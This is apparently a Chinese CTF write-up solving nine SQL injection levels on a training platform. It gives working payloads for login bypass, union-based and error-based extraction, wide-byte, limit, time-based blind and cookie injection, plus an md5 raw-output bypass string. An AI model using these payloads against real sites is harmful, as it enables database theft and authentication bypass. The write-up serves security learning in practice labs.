CTF-网络信息安全攻防学习平台(注入关)


题库地址:http://hackinglab.cn


第一关

题目:
        最简单的SQL注入
        分值: 100
        Tips题目里有简单提示

Writeup:
像看到SQL注入题,还是登陆框,就可以先试试万能密码

账号:

admin' or '1'='1

密码随意,输入正确的验证码

第二关

题目:
        最简单的SQL注入(熟悉注入环境)
        分值: 100
        最简单的SQL注入

Writeup:
查看源代码,可以看到提示
在这里插入图片描述
payload:

#单引号测试可以看到报错
?id=1%27
#查询字段数,字段数为3
?id=1 order by 3--+
#显位
?id=1 union select 1,2,3--+
#查看当前数据库的表
?id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
#查看sae_user_sqli3表中的字段
?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='sae_user_sqli3'--+
#查看flag
?id=1 union select 1,group_concat(content),3 from sae_user_sqli3--+

第三关

题目:
        防注入
        分值: 300
        小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!

Writeup:
宽字节注入,其实题目给了点提示,新手开始学防注入,大多就是先学转义

payload:

#利用%df%27测试是否有注入,发现报错
?id=2%df%27
#查询字段数,字段数为3
?id=2%df%27 order by 3--+
#显位
?id=2%df%27 union select 1,2,3--+
#查看当前数据库的所有表
?id=2%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
#查看sae_user_sqli4表中的字段,因为是宽字节注入,不能使用单引号,所以将表名sae_user_sqli4转换成了16进制
?id=2%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7361655F757365725F73716C6934--+

小葵字符转换工具
在这里插入图片描述

#查看flag
?id=2%df%27 union select 1,group_concat(content_1),3 from sae_user_sqli4--+

第四关

题目:
        到底能不能回显
        分值: 350
        小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?

Writeup:
题目给了提示是limit注入,利用到的payload是不一样的

#查看表
index.php?start=1&num=1 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)
#查看字段
index.php?start=1&num=1%20procedure%20analyse%20(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572))),1)
#查看flag
index.php?start=1&num=1%20procedure%20analyse%20(extractvalue(rand(),concat(0x3a,(select%20group_concat(password)%20from%20user))),1)

第五关

题目:
        邂逅
        分值: 350
        小明今天出门看见了一个漂亮的帅哥和漂亮的美女,于是他写到了他的日记本里。

Writeup:
虽然页面源代码给了id=1的提示,但是注入点却不在id
直接用burp抓包,发送到Repeater,可以看到有个jpg的地址
在这里插入图片描述
复制链接到请求包中,更改请求地址,在.jpg后面加上%df%27,可以看到报错信息
在这里插入图片描述
payload:

#查看字段数:
/images/dg1.jpg%df%27 order by 4--+
#显位
/images/dg1.jpg%df%27 union select 1,2,3,4--+
#查询当前数据库的表
/images/dg1.jpg%df%27 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()--+
#显示pic表中的字段
/images/dg1.jpg%df%27 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x706963--+
#查看flag,发现是flag的图片地址
/images/dg1.jpg%df%27 union select 1,2,group_concat(picname),4 from pic--+

在这里插入图片描述
直接去访问图片地址,即可看见flag
在这里插入图片描述
至于为什么要在jpg后注入,我也不太懂,这题我也是做了很久没做出,去他了其他大佬的Writeup,很多也都是过程,并没有讲解为何jpg能注入,个人感觉有点类似伪静态注入,如果其他大佬有更高的见解,欢迎评论区留言。

第六关

题目:
        ErrorBased
        分值: 150
        本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#
该题目需要在题目平台登录

Writeup:
题目给得很清楚,报错注入。

payload:

#查看数据库
index.php?username=admin%27+and+updatexml(1,(concat(0x7c,(select database()))),1)--+
#查看flag
index.php?username=admin'+and+updatexml(1,(concat(0x7c,(select group_concat(motto) from motto where id=100000))),1)--+

第七关

题目:
        盲注
        分值: 200
        今天我们来学习一下盲注.小明的女朋友现在已经成了女黑阔,而小明还在每个月拿几k的收入,怎么养活女黑阔…so:不要偷懒哦!

Writeup:
时间注入
题目提示不要偷懒,就不用sqlmap跑了,利用burp配合注入,这样也能学习到sql注入语句利用的利用方法
payload:

#出现时间延迟,说明存在时间注入
/blind.php?username=admin%27 and sleep(10)--+
#判断数据库字符长度
/blind.php?username=admin%27 and if(length(database())=5,sleep(3),1)--+
#查看当前表的数量,数量为3
/blind.php?username=admin%27 and if((select count(*) from information_schema.tables where table_schema=database())=3,sleep(3),1)--+
#查看所有表的字节长度
/blind.php?username=admin%27 and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1,sleep(3),1)--+

接下来就不能进行手工去测试了,需要用到burp辅助
利用刚刚的爆破语句,进行抓包,发送到intruder模块
1.选择Cluster bomb爆破方式
2.选择标记limit后面的第一个参数
        limit用法:
        limit 参数,第一个参数:从哪儿开始查 ; 第二个参数:查几条
3.标记长度
在这里插入图片描述
设置爆破规则:
1.payload1是表的个数,因为前面我们爆出有3张表,所以设置为0-2
在这里插入图片描述
2.payload2是长度爆破,设置长度0-20
在这里插入图片描述
点击右上角start attack开始爆破
点击上方的菜单栏,选择columns,勾选Response received(收到的响应)
在这里插入图片描述
点击Response received,查看长度最长的返回值
在这里插入图片描述
可以看出:
第一张表3个字符
第二张表5个字符
第三张表4个字符

#查表名
/blind.php?username=admin%27 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,sleep(3),1)--+

SQL MID() 语法

SELECT MID(column_name,start[,length]) FROM table_name
参数描述
column_name必需。要提取字符的字段。
start必需。规定开始位置(起始值是 1)。
length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

ASCII()函数也就是返回ascii值。

继续抓包,爆破,这里要标记的跑破值是:
limit §0§,1),§1§,1))=§1§
在这里插入图片描述
设置爆破规则:
1.设置和上一步一样,要爆破3张表
在这里插入图片描述
2.设置字符长度,因为最长也就5个字符,那直接设置1-5
在这里插入图片描述
3.第三个payload为ascii值,设置1-127
在这里插入图片描述
点击右上角start attack开始爆破
在这里插入图片描述
我们看选返回是6000值的包,然后进行排序
第一张表:
108 111 103
第二张表:
109 111 116 116 111
第三章表:
117 115 101 114

写个payload字段转换ascii值:

Decode=input("输入ascii,以空格分开:")
Decode = Decode.split()
result=0
for i in Decode:
	result = chr(int(i))
	print(result,end="")

转换成功后,我们得到三张表名:
log
motto
user
在这里插入图片描述

#查看motto字段数:
/blind.php?username=admin%27 and if((select count(*) from information_schema.columns where table_name='motto')=3,sleep(3),1)--+
#查看字段的字节长度:
/blind.php?username=admin%27 and if((select length(column_name) from information_schema.columns where table_name='motto' limit 0,1)=1,sleep(3),1)--+

爆破步骤和前面爆破表名的字节长度一样,不详细挂图了,直接上结果图
在这里插入图片描述
第一个字段长度:2
第二个字段长度:8
第三个字段长度:5

#查看字段名:
/blind.php?username=admin%27 and if(ascii(mid((select column_name from information_schema.columns where table_name='motto' limit 0,1),1,1))=1,sleep(3),1)--+

字段:
id username motto
在这里插入图片描述

#查看motto表中的motto字段有多少条记录,共4条
/blind.php?username=admin%27 and if((select count(motto) from motto)=4,sleep(3),1)--+
#因为上一题flag在第四条记录中,所以这次看一下第四条的长度,抓包爆破,长度为14
/blind.php?username=admin%27 and if((select length(motto) from motto limit 3,1)=14,sleep(3),1)--+
#爆破flag值
/blind.php?username=admin%27 and if(ascii(mid((select motto from motto limit 3,1),1,1))=3,sleep(3),1)--+

设置和之前一样,爆破是标记这两个参数
在这里插入图片描述
爆破结果:(这次爆破并没有爆破到11位的ascii值,而且8位的ascii码出现了两个,可能是网络原因的问题导致的,所以我进行了两次爆破)
在这里插入图片描述
在这里插入图片描述
爆破结果:107 101 121 35 110 111 116 102 111 117 110 100 33 35
ascii解码:

key#notfound!#

在这里插入图片描述
提交时不带key以及#
在这里插入图片描述

第八关

题目:
        SQL注入通用防护
        分值: 250
        小明写了一个博客系统,为了防注入,他上网找了一个SQL注入通用防护模块,GET/POST都过滤了哦!

Writeup:
题目给了提示GET/POST注入不行,试了cookie注入是行得通的
使用burp抓包,将url中的id=1移动到cookie中,发现额能够正常请求,相当于用理request请求方式。(注意平台的cookie是不能删除的,因为需要cookie登陆才能做题,id前面需要加入一个分号)

;id=1 and 1=2--+

在这里插入图片描述

#查询到有3个字段
;id=1 order by 3--+

#查看当前数据库的表
;id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述

#剩下步骤都以前一样,直接贴最后一个payload(查询flag)
;id=1 union select 1,group_concat(username),group_concat(password) from sae_manager_sqli8--+

第九关

题目:
        据说哈希后的密码是不能产生注入的
        分值: 400
        代码审计与验证:

Writeup:
查看源代码,看到php代码提示:

<?php



include "config.php";


if(isset($_GET['userid']) && isset($_GET['pwd'])){

    $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";

    $conn=mysql_connect($dbhost,$username,$pwd);
    mysql_select_db($db,$conn);
    mysql_query("SET NAMES 'UTF-8'");
    $result=mysql_query($strsql);
    print_r(mysql_error());
    $row=mysql_fetch_array($result);
    mysql_close($conn);
    echo "<pre>";
    print_r($row);
    
    echo "</pre>";
    if($row!=null){
        echo "Flag: ".$flag;
    }
    
}
else{
	echo "PLEASE LOGINT!";
}
echo "<noscript>";
echo file_get_contents(__FILE__);

intval() 函数用于获取变量的整数值。userid就不能进行注入了。
题目给了提示,MD5加密后的sql注入

语法

md5(string,raw)  
参数描述
string必需。规定要计算的字符串。
raw可选。规定十六进制或二进制输出格式:
  • TRUE - 原始 16 字符二进制格式
  • FALSE - 默认32 字符十六进制数

    phpstudy进行本地测试:

    <?php 
    $str=$_GET['str'];
    echo "string:".$str;
    echo "</br>";
    echo "md5_16:".md5($str,true);
    echo "</br>";
    echo "md5_32:".md5($str,false);
    ?>
    

    在这里插入图片描述
    可以看到,我们传输的ffifdyop字符串经过MD5加密后16 字符二进制格式会被转换成’or’6É]™é!r,ùíb

    这样一来,sql语句就会变成

    select * from `user` where userid="" and password=''or'6É]™é!r,ùíb'
    

    接下来我们去自己的数据库里试着执行这条语句试试。

    先创建好数据表:

    #创建数据库
    create database test;
    #创建字段
    create table user(userid int(255),password varchar(255));
    #添加数据
    INSERT INTO user VALUES ("99818213","9b11dd0bfdda0f1b791ef34551d89e74");
    #查看表内容
    select * from user;
    

    执行语句:
    在这里插入图片描述
    数据库运行逻辑:

    AND 和 OR 运算符

    AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
    如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
    如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。

    首先,按照逻辑运算的优先级,先会执行and
    因为我们不知道账号密码,所以运算完and逻辑后,sql语句会变成:

    select * from `user` where false or'6É]™é!r,ùíb'
    

    接下来进行OR运算,因为OR运算只要一边条件为真,只要or的另一边不等于空,即为真
    在这里插入图片描述
    靶场实践获取flag:

    ?userid=&pwd=ffifdyop
    

    在这里插入图片描述
    相关精华文章推荐:
    sql注入:md5($password,true)

    • 1
      点赞
    • 12
      收藏
      觉得还不错? 一键收藏
    • 打赏
      打赏
    • 0
      评论
    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包

    打赏作者

    凝聚力安全团队

    你的鼓励将是我创作的最大动力

    ¥1 ¥2 ¥4 ¥6 ¥10 ¥20
    扫码支付:¥1
    获取中
    扫码支付

    您的余额不足,请更换扫码支付或充值

    打赏作者

    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值